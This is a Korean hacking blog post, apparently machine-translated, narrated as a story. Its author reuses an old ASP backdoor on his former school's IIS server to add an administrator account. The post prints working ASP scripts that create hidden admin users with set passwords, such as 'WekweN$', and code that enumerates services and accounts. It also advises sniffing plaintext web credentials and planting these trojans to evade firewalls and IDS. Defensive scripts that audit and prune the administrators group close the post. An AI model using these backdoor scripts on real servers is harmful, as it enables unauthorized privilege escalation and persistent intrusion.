너 는 전혀 생각 지도 못 한 IIS 의 다른 뒷문

마침내 학교 에서 사회 에 발 을 들 여 놓 았 는데 사실은 학교 에 우리 가 그리워 할 만 한 곳 이 많다 는 것 을 알 게 되 었 다.그러나 일 하 는 것 은 매우 힘 들 었 다.가장 중요 한 것 은 친구 와 자주 인터넷 에 놀 러 갈 수 없다 는 것 이다.지난 토요일 에 학교 에 다 녀 왔 습 니 다.호스트 룸 에서 인터넷 관 리 를 하 는 친구 와 이 야 기 를 나 누 었 습 니 다.우연히 잘 아 는 ASP 프로그램 이 서버 사이트 디 렉 터 리 에 있 는 것 을 발 견 했 습 니 다.(예전 에 저 는 학교 네트워크 팀 의 구성원 중 한 명 이 었 습 니 다)이어서 보 았 습 니 다.익명 으로 조회 할 수 있 는 권한 을 주지 않 았 지만 계 정 은 비밀 번 호 를 기억 하고 로그 인 에 성 공 했 습 니 다.웹 페이지 는"test 2 사용자 추가 성공","test 2 관리자 추가 성공"을 표시 합 니 다.허허,난 관리인 비밀번호 도 모 르 는데.3389 를 열 고 친구 에 게 사용자 목록 을 보 여 주 었 습 니 다. 
"왜 네 놈 은 올 때마다 좋 은 일이 없 니?""빨리 말 해,이번 엔 또 뭐 하 는 거 야!" 
"거꾸로!""조급해 하지 마 세 요.사실은 예전 의 ASP 목마 가 지 워 지지 않 았 잖 아 요." 
친구 가 믿 지 않 는 다.나 는 웹 페이지 를 열 어 코드 를 보 여 줬 다."헐,이게 무슨 목마 야?Cmd 도 없고 FSO 도 없고 암호 화도 안 하고 짧 은 코드 몇 마디.............................................................. 
이전 버 전의 IIS 에는 두 가지 문제 가 있 었 다.첫째,뚜렷 하고 개방 적 인 제3자 관리 제품 의 인터페이스 와 맞 춤 형 일반적인 관리 임무 자동화 프로 그래 밍 인터페이스 가 부족 하 다.둘째,네트워크 에 있 는 서버 가 서로 발견 할 수 있 도록 디 렉 터 리 서 비 스 를 제어 하 는 메커니즘 이 필요 하 다.이 인터페이스 가 존재 한다 면 사이트 작성 자 는 다양한 유형의 도 구 를 사용 하여 다양한 유형의 서버 관리 응용 프로그램 을 작성 할 수 있 습 니 다.예 를 들 어 사용자 관리 와 안전성 제품 을 제외 하고 성능 관리,설치 와 설정 에 사용 할 프로그램 도 만 들 수 있 습 니 다.그래서 Microsoft 는 1998 년 초 에 활동 디 렉 터 리 서비스 인터페이스(Active)를 발표 했다. Directory ServiceInterfaces,ADSI)의 새 버 전.ADSI 와 IIS 관리 대상(IIS) Administration Object,IISAO)는 디 렉 터 리 서비스 와 IIS 를 제어 하 는 공동 솔 루 션 을 함께 제공 했다. 
IISAO 는 C++,Delphi,Java,VB 등 다양한 언어 로 작 성 된 응용 프로그램 에 접근 할 수 있 습 니 다.수량 증가 가 빠 른 것 을 제외 하고 제3자 사이트 관리 도 구 는 모두 ADSI 와 IISAO 를 통 해 IIS 와 디 렉 터 리 서 비 스 를 더욱 잘 연결 할 수 있다.또한 IISAO 는 한 서버 의 스 크 립 트 엔진 과 활성 서버 페이지(Active Server Page,ASP)WEB 페이지 를 통 해 접근 합 니 다.사실 IIS 를 사용 하고 있다 면 4.0 이상 관리 도구 의 HTML 버 전 은 IISAO 를 사용 하고 있 습 니 다.IISAO 는 Windows 스 크 립 트 호스트(Windows Scripting Host,WSH)명령 행 에 접근 합 니 다. 
IISAO 와 마찬가지 로 ADSI 는 COM 대상 일 뿐 각자 의 디 렉 터 리 서비스 에서 대상 을 봉인 할 수 있다.이것 은 로 컬 디 렉 터 리 서비스 와 응용 에서 추상 적 인 층 을 만 들 었 기 때문에 사이트 작성 자 는 하나의 공공 인 터 페 이 스 를 통 해 다양한 디 렉 터 리 서 비 스 를 제어 할 수 있 습 니 다.이 기능 이 강 한 활동 디 렉 터 리 서비스 인 터 페 이 스 를 이용 하여 우 리 는 Windows 에서 NT 플랫폼 은 로 컬 이나 원 격 호스트 관리자 권한 에 대한 완전한 접근 을 만 들 었 습 니 다.스 크 립 트 공격 에 관 한 글 들 은 대부분 이 방면 의 응용 에 가 져 왔 습 니 다. 
예 를 들 어 우 리 는 원 격 기기 에서 켜 진 서 비 스 를 보 려 고 합 니 다.(Pskill 을 준비 하고 방화벽 을 먼저 멈 추 었 습 니 다)코드 는 다음 과 같 습 니 다. 
<%Set ComputerObj = GetObject("WinNT://127.0.0.1") 
ComputerObj.Filter = Array("Service") 
For Each Service in ComputerObj 
Response.Write "Service display name = " & Service.DisplayName 
Response.Write("
") 
Response.Write "Service account name = " & Service.ServiceAccountName 
Response.Write("
") 
Response.Write "Service executable = " & Service.Path 
Next%> 
실행 후 결 과 를 되 돌려 줍 니 다. 
어때요?서비스 다 나 왔 죠?서비스 에 대응 하 는 경로 까지 있어 미 션 관리자 보다 더 유용 하 다"고 말 했다."너 는 네가 방금 한 일 을 아직 분명하게 말 하지 않 은 것 같은 데?"OK.사실 학교 서버 에 있 는 ASP 프로그램의 코드 도 매우 적 고 계 정 추가 부터 권한 향상 까지 10 여 줄 에 불과 합 니 다. 
<% 
Set onlineServer= GetObject("WinNT://127.0.0.1") 
Set newuser= onlineServer.Create("user","test2") 
NewUser.SetPassword "test2" 
NewUser.FullName="Test2 test" 
NewUser.Description="testuser" 
NewUser.Setinfo 
Set oDomain = GetObject("WinNT://" &"127.0.0.1")  
Set oGroup = oDomain.GetObject("Group", "administrators")  
oGroup.Add ("winnt://test2")  
Response.Write "test 2 사용자 추가 성공" 
Response.Write "test 2 관리자 추가 성공" 
Set oDomain=Nothing  
Set oGroup=Nothing  
%> 
효과 좀 봐. 
현재 기기 의 모든 계 정 을 보면 다음 코드 를 사용 할 수 있 습 니 다. 
Set onlineServer= GetObject("WinNT://127.0.0.1") 
onlineServer.filter=array("user") 
for each member in onlineserver 
response.Write member.name & "--" & member.FullName &"

next 
Set onlineServer= GetObject("WinNT://127.0.0.1") 
: 
그 나 저 나 사이트 권한 향상 에 있어 서 이 용 도 는 크 지 않 고 특수 한 상황 에서 만 서버 권한 에 효과 적 인 공격 을 할 수 있 습 니 다.인터넷 에서 친구 가 이런 코드 를 쓴 적 이 있 습 니 다.<%@codepage=936%><%Response.Expires=0  
on error resume next  
Session.TimeOut=50  
Server.ScriptTimeout=3000  
set lp=Server.createObject("WSCRIPT.NETWORK")  
oz="WinNT://"&lp.ComputerName  
Set ob=GetObject(oz)  
Set oe=GetObject(oz&"/Administrators,group")  
Set od=ob.create("user","WekweN$")  
od.SetPassword "WekweN" <-----비밀 번호 
od.SetInfo  
Set of=GetObject(oz&"/WekweN$,user")  
oe.Add(of.ADsPath)  
Response.write "WekweN$Content$nbsp;슈퍼 계 정 구축 성공!"%> 
새로운 구멍 이 라 고 하면 일반 사용 자 를 관리자 로 끌 어 올 릴 수 있 습 니 다.그러나 테스트 를 통 해 성공 하지 못 했 습 니 다.비주류 공격 방법 에서 보통 이렇게 사용 합 니 다.암호 계 정 을 찾 아 보라 고 요구 하지 않 았 습 니까?당신 은 먼저 대상 네트워크 에서 상대방 의 WEB 연결 계 정 을 탐색 할 수 있 습 니 다.기본 적 인 상황 에서 WEB 계 정과 비밀 번 호 는 전달 할 때 완전히 투명 하기 때 문 입 니 다!그리고 이미 가지 고 있 는 일부 권한 으로 이러한 ASP 목 마 를 서버 에 침투 시 킵 니 다.(여기 서 특수 한 상황 을 말 합 니 다.누가 계 정 비밀번호 가 있 으 면 무적 이 라 고 생각 하 겠 습 니까?저도 어 쩔 수 없습니다.저 는 지금 특수 한 상황 에서 방화벽 과 IDS 의 방 해 를 피 할 수 있다 는 장점 이 있 습 니 다.일반 서버 는 Cmd.asp 로 해결 하 세 요.그렇게 귀 찮 게 하지 마 세 요. 
"와,위험 하 니까 지우 고 지 워."친구 가 마 우 스 를 두 번 눌 러 서 내 프로그램 을 해 치 웠 다.나 는 별일 없 는 것 같 아서 작별 인 사 를 하고 돌아 갈 준 비 를 하고 있 었 다. 
"거기 서!누가 이 걸 로 망 가 뜨리 면 어 떡 하지?"친구 가 나 를 끌 고 물 었 다"고 말 했다.사실 보호 방법 도 간단 하 다.바로 익명 의 방문 을 회복 하 는 것 이다."라 고 말 하 자 친구 에 게 커 다란 옥 스 퍼 드 사전 한 권 을 찍 으 려 고 한다.나 는 계속 말 할 수 밖 에 없다. 
만약 에 이런 접근 을 꼭 사용 해 야 한다 면 대항 하 는 ASP 코드 를 쓸 수 있 습 니 다.예 를 들 어 다음은 컴퓨터 에 있 는 로 컬 관리자 그룹의 모든 구성원 을 되 돌려 주 는 것 입 니 다.자동 새로 고침 을 추가 할 수 있 습 니 다.침입 을 발견 하면 대화 상 자 를 뛰 어 내 릴 수 있 습 니 다. 
Set objNetwork = CreateObject("Wscript.Network")  
strComputer = objNetwork.ComputerName  
Set objGroup = GetObject("WinNT://" & strComputer &  
"/Administrators,group")  
For Each objUser in objGroup.Members  
  Response.Write objUser.Name  
Next 
로 컬 관리자 의 사용자 계 정과 도 메 인 관리자 계 정 이 아 닌 것 을 발견 하면 삭 제 된 코드(Administrator 가 아니면 제거): 
Set objNetwork = CreateObject("Wscript.Network")  
strComputer = objNetwork.ComputerName  
Set objGroup = GetObject("WinNT://" & strComputer &  
"/Administrators,group")  
For Each objUser in objGroup.Members  
  If objUser.Name <> "Administrator" and objUser.Name <> _  
    "work\Administrator" Then  
    objGroup.Remove(objUser.ADsPath)  
  End If  
Next 
로 컬 컴퓨터 의 게 스 트 계 정 상 태 를 보고 하 는 스 크 립 트: 
Set objNetwork = CreateObject("Wscript.Network") 
strComputer = objNetwork.ComputerName 
Set objUser = GetObject("WinNT://" & strComputer & "/Guest") 
If objUser.AccountDisabled Then 
Response.Write "게 스 트 계 정 이 사용 되 지 않 았 습 니 다." 
Else 
Response.Write "게 스 트 사용자 가 사 용 됩 니 다." 
End If 
컴퓨터 에 공유 되 는 파일 이 있 는 지 확인 하 십시오: 
strComputer = "." 
Set objWMIService = GetObject("winmgmts:\\" & strComputer & 
"\root\cimv2") 
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share") 
For each objShare in colShares 
Response.Write "Name: " & objShare.Name 
Response.Write "Path: " & objShare.Path 
Response.Write "Type: " & objShare.Type 
Next 
"이렇게 하면 되 나 요?"나 는 그것 으로 IIS 뒷문 을 쓰 는 것 이 매우 좋다 고 생각한다.나 는 연구 해 야 한다."내일 은 일요일 이 니 가지 마.당직 좀 서 줘!"어 머,또 밤 새 워 기관실 을 봐 야 겠 어 요.제 형 제 는 주말 이에 요!

좋은 웹페이지 즐겨찾기